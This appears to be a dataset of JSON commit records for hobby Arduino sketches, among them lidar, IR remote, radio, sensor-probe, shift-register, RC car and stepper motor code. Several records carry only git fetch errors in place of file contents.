{"commit":"ba8ec95bf7e193c230283f8194bd8f906c5dffc0","subject":"Working PWM Test Code","message":"Working PWM Test Code\n\nPWM test code works for multiple chains with multiple smart cable parasites.","repos":"dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean,dkadish\/nuit_blanche_ocean","old_file":"nb_ocean\/init.ino","new_file":"nb_ocean\/init.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dkadish\/nuit_blanche_ocean.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"570517c175055fb386531674300e95ede4bf317d","subject":"Added ROS Arduino code using rosserial_arduino","message":"Added ROS Arduino code using rosserial_arduino\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"ROS\/crawler_ros_node\/crawler_ros_node.ino","new_file":"ROS\/crawler_ros_node\/crawler_ros_node.ino","new_contents":"#include <ros.h>\n#include <ros\/time.h>\n#include <geometry_msgs\/Twist.h>\n#include <sensor_msgs\/Range.h>\n#include <Servo.h>\n#include <Wire.h>\n\n#define LIDARLITE_ADDR 0x62\n#define LIDARLITE_CMD_CTRL_ADDR 0x00\n#define LIDARLITE_TRIG_VAL 0x04\n#define LIDARLITE_RANGE_ADDR 0x8f\n\nServo wheel_speed_servo, wheel_direction_servo;\nconst int lidar_pwr_en[] = {\n 12, 13}; \/\/ PWR_EN pins to put lidars to sleep\nros::NodeHandle nh;\n\nsensor_msgs::Range range_msg;\nros::Publisher pub_range(\"range_data\", &range_msg);\nchar frame_id[] = \"\/lidar_0\";\nint enabled_lidar = 0;\nint lidar_state = 0; \/\/ {0:Triggered, 1:Requested data, 2:Receiving data}\n\nvoid vel_cmd_cb(const geometry_msgs::Twist &cmd_msg) {\n wheel_speed_servo.write(90 - 90 * cmd_msg.linear.x);\n wheel_direction_servo.write(90 + 90 * cmd_msg.angular.z);\n}\nros::Subscriber<geometry_msgs::Twist> sub_vel(\"cmd_vel\", vel_cmd_cb);\n\nvoid setup() {\n Wire.begin();\n nh.initNode();\n nh.advertise(pub_range);\n nh.subscribe(sub_vel);\n\n range_msg.radiation_type = 2;\n range_msg.field_of_view = 0.001;\n range_msg.max_range = 40;\n range_msg.min_range = 0.1;\n\n wheel_speed_servo.attach(8);\n wheel_direction_servo.attach(9);\n calibrate_servo(wheel_direction_servo, 0, 180);\n\n enable_and_trigger(0);\n}\n\nvoid loop() {\n switch (lidar_state) {\n case 0:\n Wire.beginTransmission(LIDARLITE_ADDR);\n Wire.write(LIDARLITE_RANGE_ADDR);\n if (Wire.endTransmission() == 0) lidar_state = 1;\n break;\n case 1:\n if (Wire.requestFrom(LIDARLITE_ADDR, 2) > 0) lidar_state = 2;\n break;\n case 2:\n if (Wire.available() >= 2) {\n uint16_t range_data = Wire.read() << 8;\n range_data += Wire.read();\n if(range_data < 40000){\n range_msg.range = (float)range_data;\n range_msg.header.stamp = nh.now();\n frame_id[7] = enabled_lidar + '0';\n range_msg.header.frame_id = frame_id;\n pub_range.publish(&range_msg);\n }\n if (enabled_lidar == 0) enable_and_trigger(1);\n else enable_and_trigger(0);\n lidar_state = 0;\n }\n }\n nh.spinOnce();\n delay(1);\n}\n\nvoid enable_and_trigger(int lidar_id) {\n \/\/ Put all lidars to sleep\n for (int i = 0; i < sizeof(lidar_pwr_en) \/ sizeof(*lidar_pwr_en); i++)\n digitalWrite(lidar_pwr_en[i], LOW);\n\n \/\/ Wake up the specified lidar and mark it's state as triggered\n digitalWrite(lidar_pwr_en[lidar_id], HIGH);\n enabled_lidar = lidar_id;\n\n \/\/ Trigger the signal acquisition\n while (1) {\n Wire.beginTransmission(LIDARLITE_ADDR);\n Wire.write(LIDARLITE_CMD_CTRL_ADDR);\n Wire.write(LIDARLITE_TRIG_VAL);\n if (Wire.endTransmission() == 0) break;\n delay(1);\n }\n}\n\nvoid calibrate_servo(Servo & servo, int minVal, int maxVal) {\n const int calibration_delay = 1000;\n const int calibration_angles[] = {\n maxVal, minVal, (minVal + maxVal) \/ 2, (minVal + maxVal) \/ 2 };\n for (int i = 0; i < sizeof(calibration_angles) \/ sizeof(*calibration_angles); i++) {\n servo.write(calibration_angles[i]);\n delay(calibration_delay);\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ROS\/crawler_ros_node\/crawler_ros_node.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e3b2ecb6ec9276a5c0e5c813501b715e84e29d4","subject":"Create particle_photon_to_ir.ino","message":"Create particle_photon_to_ir.ino","repos":"nothans\/CheerLights","old_file":"Infrared\/particle_photon_to_ir.ino","new_file":"Infrared\/particle_photon_to_ir.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include <ThingSpeak.h>\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include <IRTransmitter.h>\n\n#define IR_PIN D6\n#define LED_PIN D7\n\nIRTransmitter transmitter(IR_PIN, LED_PIN);\n\nTCPClient client;\nunsigned long cheerLightsChannelNumber = 1417;\n\n\/\/ define ir remote control color buttons\n\n\/\/ red\nunsigned int red[67] = {8850,4400, 600,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,550, 600,500, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 600,1600, 600,1600, 600,1600, 600,550, 550,1650, 550,550, 550,1650, 600,550, 500,550, 600,550, 550,550, 550,1600, 600,550, 550,1650, 600,550, 500,1650, 600,1600, 600,1650, 550}; \/\/ NEC FFA857\n\n\/\/ green\nunsigned int green[67] = {8850,4400, 600,500, 600,500, 650,450, 600,550, 600,450, 600,550, 550,550, 550,550, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 550,1650, 600,1600, 600,1600, 600,1600, 600,500, 600,550, 600,1600, 550,1650, 550,550, 600,500, 650,450, 600,500, 600,1600, 600,1650, 550,500, 600,550, 550,1650, 550,1650, 550,1650, 600}; \/\/ NEC FF9867\n\n\/\/ blue\nunsigned int blue[67] = {8850,4400, 600,500, 600,500, 650,500, 550,500, 600,550, 600,500, 550,550, 550,550, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 600,1600, 600,1650, 550,500, 600,1650, 550,500, 600,550, 600,1600, 600,500, 600,500, 600,500, 600,1650, 550,500, 600,1650, 550,1650, 600,500, 600,1600, 600,1600, 600,1650, 550}; \/\/ NEC FF48B7\n\n\/\/ cyan\nunsigned int cyan[67] = {8850,4400, 550,550, 550,550, 600,500, 550,550, 600,550, 550,500, 600,550, 550,500, 600,1600, 600,1650, 550,1650, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,550, 600,550, 550,1600, 600,1650, 550,550, 550,550, 550,1650, 550,550, 600,1600, 600,1600, 600,550, 550,550, 550,1600, 600,1650, 550,550, 550,1650, 550}; \/\/ NEC FF32CD\n\n\/\/ white\nunsigned int white[67] = {8850,4400, 550,550, 600,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,1650, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 550,1650, 600,1600, 600,1600, 600,550, 550,550, 550,1650, 550,550, 550,550, 600,500, 550,550, 600,500, 600,1600, 600,1600, 600,550, 550,1650, 550,1650, 600,1600, 600,1600, 600}; \/\/ NEC FF906F\n\n\/\/ oldlace\nunsigned int oldlace[67] = {8850,4400, 550,550, 600,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,1650, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 550,1650, 600,1600, 600,1600, 600,550, 550,550, 550,1650, 550,550, 550,550, 600,500, 550,550, 600,500, 600,1600, 600,1600, 600,550, 550,1650, 550,1650, 600,1600, 600,1600, 600}; \/\/ NEC FF906F\n\n\/\/ purple\nunsigned int purple[67] = {8850,4400, 550,550, 550,550, 600,550, 500,550, 600,550, 550,550, 550,550, 550,550, 550,1600, 600,1650, 550,1650, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,550, 600,500, 600,1600, 600,550, 550,550, 550,550, 550,550, 550,550, 550,1650, 600,1600, 600,550, 550,1600, 600,1650, 550,1650, 550,1650, 550,1650, 550}; \/\/ NEC FF20DF\n\n\/\/ magenta\nunsigned int magenta[67] = {8900,4350, 600,550, 550,550, 550,550, 550,550, 600,550, 500,550, 600,550, 550,550, 550,1600, 600,1600, 600,1650, 550,1650, 600,1600, 600,1600, 600,1650, 550,1650, 550,550, 600,1600, 600,1600, 600,500, 600,1650, 550,500, 600,550, 550,550, 550,1650, 600,500, 550,550, 600,1600, 600,550, 550,1650, 550,1650, 600,1600, 600}; \/\/ NEC FF6897\n\n\/\/ yellow\nunsigned int yellow[67] = {8900,4400, 550,550, 550,550, 550,550, 600,550, 500,550, 600,550, 550,550, 550,550, 550,1650, 550,1650, 550,1650, 550,1650, 550,1650, 600,1600, 600,1650, 550,1650, 600,550, 500,550, 600,550, 550,550, 550,550, 550,550, 550,1600, 600,550, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 600,550, 500,1650, 600}; \/\/ NEC FF02FD\n\n\/\/ orange \nunsigned int orange[67] = {8900,4350, 600,500, 600,500, 600,500, 650,500, 550,500, 600,550, 600,500, 550,550, 600,1600, 600,1600, 650,1550, 600,1650, 550,1650, 600,1600, 600,1600, 600,1600, 650,1550, 600,550, 600,1600, 550,1650, 550,550, 600,500, 600,1600, 600,500, 650,500, 550,1650, 600,500, 550,550, 600,1600, 600,1600, 650,500, 550,1650, 600}; \/\/ NEC FFB24D\n\n\/\/ pink\nunsigned int pink[67] = {8850,4400, 600,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,550, 550,1650, 600,1600, 600,1600, 600,1600, 600,1600, 600,1650, 550,1650, 600,1600, 600,1650, 550,550, 550,550, 550,550, 550,1650, 600,550, 500,550, 600,550, 550,500, 600,1600, 600,1600, 600,1650, 550,550, 550,1650, 550,1650, 600,1600, 600}; \/\/ NEC FF8877\n\n\nvoid setup() {\n ThingSpeak.begin(client);\n}\n\n\nvoid loop() {\n String color = ThingSpeak.readStringField(cheerLightsChannelNumber, 1);\n \n if (color.equals(\"red\")) { transmitter.Transmit(red, sizeof(red) \/ sizeof(red[0])); }\n else if (color.equals(\"green\")) { transmitter.Transmit(green, sizeof(green) \/ sizeof(green[0])); }\n else if (color.equals(\"blue\")) { transmitter.Transmit(blue, sizeof(blue) \/ sizeof(blue[0])); }\n else if (color.equals(\"cyan\")) { transmitter.Transmit(cyan, sizeof(cyan) \/ sizeof(cyan[0])); }\n else if (color.equals(\"white\")) { transmitter.Transmit(white, sizeof(white) \/ sizeof(white[0])); }\n else if (color.equals(\"oldlace\")) { transmitter.Transmit(oldlace, sizeof(oldlace) \/ sizeof(oldlace[0])); }\n else if (color.equals(\"purple\")) { transmitter.Transmit(purple, sizeof(purple) \/ sizeof(purple[0])); }\n else if (color.equals(\"magenta\")) { transmitter.Transmit(magenta, sizeof(magenta) \/ sizeof(magenta[0])); }\n else if (color.equals(\"yellow\")) { transmitter.Transmit(yellow, sizeof(yellow) \/ sizeof(yellow[0])); }\n else if (color.equals(\"orange\")) { transmitter.Transmit(orange, sizeof(orange) \/ sizeof(orange[0])); }\n else if (color.equals(\"pink\")) { transmitter.Transmit(pink, sizeof(pink) \/ sizeof(pink[0])); }\n \n \/\/ Check again in 5 seconds\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Infrared\/particle_photon_to_ir.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ab7dfe5702eb15c027e5156e3a09ba4c5e855b0a","subject":"Preliminary 3DOF Implementation","message":"Preliminary 3DOF Implementation\n","repos":"wzschoche\/Titan-Rover,awwdang\/Titan-Rover,awwdang\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robotic' did not match any file(s) known to git\nerror: pathspec 'Arm\/Titan16_3DOF\/Titan16_3DOF.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6692bbd99736947319c4a399b3087881a2ce8b84","subject":"something","message":"something\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a2aaf4ee272c0cc8ab43ede9fa72bccd1a93cbce","subject":"Introducing the Claw project","message":"Introducing the Claw project\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"Claw\/Claw_controller\/Claw_controller.ino","new_file":"Claw\/Claw_controller\/Claw_controller.ino","new_contents":"int buttonState = 1 \/\/ \nint servoPosition\n\n\/\/this is nothing yet, working on it. ;)\n\/*\nEen grijper die open of dicht gaat naar aanleiding van de waarde die middels een draaiknop wordt gegeven (en middels MAP functie omgevormd tot een bruikbare waarde)\nAls een object gegrepen is,\ndan luidt er een buzzer.\nEn\nHet ledje gaat knipperen\nAls hoe kleiner de hoek is van de grijper, hoe feller het ledje gaat branden\n\nOp de LCD wordt weergeven:\nde hoek van de motor(dus de grijper) = Vraagt de waarde op van de huidige grijperwaarde\nHoe vaak een object is gepakt = Telt\nEn geeft weer indien een object wordt vastgehouden.*\/\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\nanalogRead (buttonState)\nservoposition = map(buttonState, 0, 1023, 0, 180) \/\/\" map(value, fromLow, fromHigh, toLow, toHigh)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Claw\/Claw_controller\/Claw_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"82a48f4cdb71e7feb547f74ba5a53050c1f58d24","subject":"add Arduino's nrf module","message":"add Arduino's nrf module\n","repos":"CarlosPena00\/Mobbi,CarlosPena00\/Mobbi","old_file":"Arduino\/sendRF\/sendRF.ino","new_file":"Arduino\/sendRF\/sendRF.ino","new_contents":"#include <SPI.h>\n#include <RF24.h>\n\n\/\/ ce, csn pins\nRF24 radio(9,10);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n radio.begin();\n radio.setPALevel(RF24_PA_MAX);\n radio.setChannel(0x76);\n radio.openWritingPipe(0xF0F0F0F0E1LL);\n radio.enableDynamicPayloads();\n radio.powerUp();\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n const char text[] = \"Hello World!\";\n radio.write(&text, sizeof(text));\n delay(1000);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sendRF\/sendRF.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af9ba2d4ce3d288f5884174abfdd2c0db18b9242","subject":"Create Potmeter_ABP.ino","message":"Create Potmeter_ABP.ino","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops","old_file":"The Things Network\/potmeter-workshop\/Potmeter_ABP\/Potmeter_ABP.ino","new_file":"The Things Network\/potmeter-workshop\/Potmeter_ABP\/Potmeter_ABP.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'The' did not match any file(s) known to git\nerror: pathspec 'Things' did not match any file(s) known to git\nerror: pathspec 'Network\/potmeter-workshop\/Potmeter_ABP\/Potmeter_ABP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98da20cfab6271420903eaf85174c325fa7af762","subject":"add rfid module","message":"add rfid module\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wyms04\/wyms04.ino","new_file":"modules\/msensors\/wyms04\/wyms04.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cbe96075abd8b07594e8720720bbc9c9ca609a86","subject":"Adding a simple signal probe; sample a pulse sequence for analysis. DHT example.","message":"Adding a simple signal probe; sample a pulse sequence for analysis. DHT example.\n","repos":"kc9jud\/Cosa,SinishaDjukic\/Meshwork,rrobinet\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,SinishaDjukic\/Meshwork,rrobinet\/Cosa,dansut\/Cosa,SinishaDjukic\/Meshwork,kc9jud\/Cosa,mikaelpatel\/Cosa","old_file":"examples\/Sandbox\/CosaProbe\/CosaProbe.ino","new_file":"examples\/Sandbox\/CosaProbe\/CosaProbe.ino","new_contents":"\/**\n * @file CosaProbe.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Probe to sample pulse sequence for analysis.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Types.h\"\n#include \"Cosa\/ExternalInterrupt.hh\"\n#include \"Cosa\/RTC.hh\"\n#include \"Cosa\/Power.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Trace.hh\"\n\n\/**\n * Probe to collect samples using an external interrupt pin.\n * Interrupt handler captures and records the pulse with until\n * max number of samples or illegal pulse. Sample request\/await\n * starts interrupt handler and stops on max time.\n *\/\nclass Probe : public ExternalInterrupt {\nprivate:\n static const uint8_t SAMPLE_MAX = 128;\n\n volatile uint16_t m_sample[SAMPLE_MAX];\n volatile uint8_t m_sampling;\n volatile uint32_t m_start;\n volatile uint8_t m_ix;\n \n const uint16_t LOW_THRESHOLD;\n const uint16_t HIGH_THRESHOLD;\n\n virtual void on_interrupt(uint16_t arg = 0);\n\npublic:\n Probe(Board::ExternalInterruptPin pin, uint16_t low, uint16_t high) : \n ExternalInterrupt(pin, ExternalInterrupt::ON_CHANGE_MODE),\n m_sampling(false),\n m_start(0L),\n m_ix(0),\n LOW_THRESHOLD(low),\n HIGH_THRESHOLD(high)\n {\n }\n\n void sample_request();\n void sample_await(uint32_t ms);\n\n friend IOStream& operator<<(IOStream& outs, Probe& probe);\n};\n\nIOStream& operator<<(IOStream& outs, Probe& probe)\n{\n outs << probe.m_ix << ':';\n for (uint8_t i = 0; i < probe.m_ix; i++)\n outs << ' ' << probe.m_sample[i];\n return (outs);\n}\n\nvoid \nProbe::on_interrupt(uint16_t arg) \n{ \n if (m_start == 0L) {\n m_start = RTC::micros();\n m_ix = 0;\n return;\n }\n uint32_t stop = RTC::micros();\n uint16_t us = (stop - m_start);\n m_start = stop;\n m_sample[m_ix++] = us;\n if (us < LOW_THRESHOLD || us > HIGH_THRESHOLD) goto exception;\n if (m_ix != SAMPLE_MAX) return;\n \n exception:\n m_sampling = false;\n disable();\n}\n\nvoid \nProbe::sample_request()\n{\n m_sampling = true;\n m_start = 0L;\n enable();\n}\n\nvoid \nProbe::sample_await(uint32_t ms)\n{\n uint32_t start = RTC::millis();\n while (m_sampling && RTC::since(start) < ms) Power::sleep(SLEEP_MODE_IDLE);\n disable();\n}\n\nProbe probe(Board::EXT0, 20, 100);\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaProbe: started\"));\n Watchdog::begin();\n RTC::begin();\n}\n\nvoid loop()\n{\n SLEEP(2);\n\n \/\/ Make a request (DHT)\n probe.set_mode(IOPin::OUTPUT_MODE);\n probe.set();\n probe.clear();\n Watchdog::delay(32);\n probe.set();\n probe.set_mode(IOPin::INPUT_MODE);\n DELAY(40);\n\n \/\/ Wait for the response\n probe.sample_request();\n probe.sample_await(1000);\n\n \/\/ Print samples\n trace << probe << endl;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaProbe\/CosaProbe.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"17aa645a2bf1610c1bb9e7532d93906c86126685","subject":"Started code for outputexpander.","message":"Started code for outputexpander.\n","repos":"dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs","old_file":"Mpe\/Plugs\/OutputExpander\/OutputExpander.ino","new_file":"Mpe\/Plugs\/OutputExpander\/OutputExpander.ino","new_contents":"\/\/Pin connected to ST_CP of 74HC595\nint latchPin = 8;\n\/\/Pin connected to SH_CP of 74HC595\nint clockPin = 12;\n\/\/\/\/Pin connected to DS of 74HC595\nint dataPin = 11;\n\nvoid setup() {\n \/\/set pins to output so you can control the shift register\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ count from 0 to 255 and display the number \n \/\/ on the LEDs\n for (int numberToDisplay = 0; numberToDisplay < 256; numberToDisplay++) {\n \/\/ take the latchPin low so \n \/\/ the LEDs don't change while you're sending in bits:\n digitalWrite(latchPin, LOW);\n \/\/ shift out the bits:\n shiftOut(dataPin, clockPin, MSBFIRST, numberToDisplay); \n\n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(latchPin, HIGH);\n \/\/ pause before next value:\n delay(500);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mpe\/Plugs\/OutputExpander\/OutputExpander.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"912632474f801de024b9786af28de8d2a31f964d","subject":"Create controller.ino","message":"Create controller.ino","repos":"robreeves\/robotany","old_file":"auto_water\/controller.ino","new_file":"auto_water\/controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/robreeves\/robotany.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0436889c3697f6ffc430bf7c86e91799f2c18097","subject":"all sparked up","message":"all sparked up\n","repos":"JackMarx\/robotRupert,JackMarx\/robotRupert,JackMarx\/robotRupert","old_file":"sparkcode\/spark-rc-car-example.ino","new_file":"sparkcode\/spark-rc-car-example.ino","new_contents":"\/\/ int pwmb = A5;\n\/\/ int dirb = A3;\n\/\/ int brakeb = D5;\n\/\/ int senb = A1;\n\n\/\/ chn a chn b\n\/\/ Direction D12\/A4 D13\/A3\n\/\/ PWM D3\/D0 D11\/A5\n\/\/ Brake D9\/D6 D8\/D5\n\/\/ Current Sensing A0\/A0 A1\/A1\n\n\/\/ pinMode(pwmb, OUTPUT);\n\/\/ pinMode(dirb, OUTPUT);\n\/\/ pinMode(brakeb, OUTPUT);\n\/\/ pinMode(senb, INPUT);\n\n\n\n\/* A Spark function to parse the commands *\/\nint rcCarControl(String command);\n\n\/* Globals -------------------------------------------------------------------*\/\nint leftMotorEnable = A5;\nint rightMotorEnable = D0;\nint leftMotorDir = A3;\nint rightMotorDir = A4;\n\n\n\/* This function is called once at start up ----------------------------------*\/\nvoid setup()\n{\n \/\/Register Spark function\n Spark.function(\"rccar\", rcCarControl);\n\n pinMode(leftMotorDir, OUTPUT);\n pinMode(leftMotorEnable, OUTPUT);\n pinMode(rightMotorDir, OUTPUT);\n pinMode(rightMotorEnable, OUTPUT);\n\n pinMode(D7,OUTPUT);\n}\n\n\/* This function loops forever --------------------------------------------*\/\nvoid loop()\n{\n \/\/ Nothing to do here\n}\n\n\/*******************************************************************************\n * Function Name : rcCarControl\n * Description : Parses the incoming API commands and sets the motor control\n pins accordingly\n * Input : RC Car commands\n e.g.: rc,FORWARD\n rc,BACK\n * Output : Motor signals\n * Return : 1 on success and -1 on fail\n *******************************************************************************\/\nint rcCarControl(String command)\n{\n if(command.substring(3,7) == \"STOP\")\n {\n digitalWrite(leftMotorEnable,LOW);\n digitalWrite(rightMotorEnable,LOW);\n\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,LOW);\n\n return 1;\n }\n\n if(command.substring(3,7) == \"BACK\")\n {\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,LOW);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\n return 1;\n }\n\n if(command.substring(3,10) == \"FORWARD\")\n {\n digitalWrite(leftMotorDir,HIGH);\n digitalWrite(rightMotorDir,HIGH);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\n return 1;\n }\n\n if(command.substring(3,8) == \"RIGHT\")\n {\n digitalWrite(leftMotorDir,HIGH);\n digitalWrite(rightMotorDir,LOW);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\n return 1;\n }\n\n if(command.substring(3,7) == \"LEFT\")\n {\n digitalWrite(leftMotorDir,LOW);\n digitalWrite(rightMotorDir,HIGH);\n\n digitalWrite(leftMotorEnable,HIGH);\n digitalWrite(rightMotorEnable,HIGH);\n\n return 1;\n }\n\n \/\/ If none of the commands were executed, return false\n return -1;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sparkcode\/spark-rc-car-example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"48845587219dd92414eff797167b1cba0048b571","subject":"Channel 1 rotating in 1 direction, slowly.","message":"Channel 1 rotating in 1 direction, slowly.\n","repos":"Believotron\/Believotronics,Believotron\/Believotronics","old_file":"MotorLab\/MotorLab.ino","new_file":"MotorLab\/MotorLab.ino","new_contents":"\/\/ MotorLab WIP\n\n#define NUM_MOTOR_CHANNELS 4\n#define NUM_MOTOR_SIGNALS 4\n\nuint8_t motor[NUM_MOTOR_CHANNELS][NUM_MOTOR_SIGNALS];\n\n\n\n\/\/ Debug declarations\n int ledPin = 13; \/\/ select the pin for the LED\n\n\n\/\/ Joystick declaration\n int JoyX = A0; \/\/ select the input pin for the potentiometer\n int JoyY = A1;\n\n int JoyXVal = 0; \/\/ variable to store the value coming from the sensor\n int JoyYVal = 0;\n\n\nuint8_t iGlobalStep = 0;\nvoid setup()\n{\n pinMode(ledPin, OUTPUT); \/\/ declare the ledPin as an OUTPUT:\n Serial.begin(9600);\n\n motor[0][0] = A4;\n motor[0][1] = A5;\n motor[0][2] = 23;\n motor[0][3] = 20;\n\n for (int i=0; i< NUM_MOTOR_SIGNALS; i++) {pinMode(motor[0][i], OUTPUT);}\n\n digitalWrite(ledPin, HIGH); \/\/ turn the ledPin on\n iGlobalStep = 0;\n}\n\nint debugJoyXY(int iX, int iY)\n{\n Serial.print(\"JoyX: [\");\n Serial.print(JoyXVal);\n Serial.print(\"], JoyY: [\");\n Serial.print(JoyYVal);\n Serial.print(\"\\n\");\n\n return 0;\n}\n\nvoid loop()\n{\n switch(iGlobalStep)\n {\n case 0:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 1);\n break;\n case 1:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 1);\n digitalWrite(motor[0][3], 1);\n break;\n case 2:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 1);\n digitalWrite(motor[0][3], 0);\n break;\n case 3:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 1);\n digitalWrite(motor[0][2], 1);\n digitalWrite(motor[0][3], 0);\n break;\n case 4:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 1);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 0);\n break;\n case 5:\n digitalWrite(motor[0][0], 1);\n digitalWrite(motor[0][1], 1);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 0);\n break;\n case 6:\n digitalWrite(motor[0][0], 1);\n digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 0);\n break;\n case 7:\n digitalWrite(motor[0][0], 1);\n 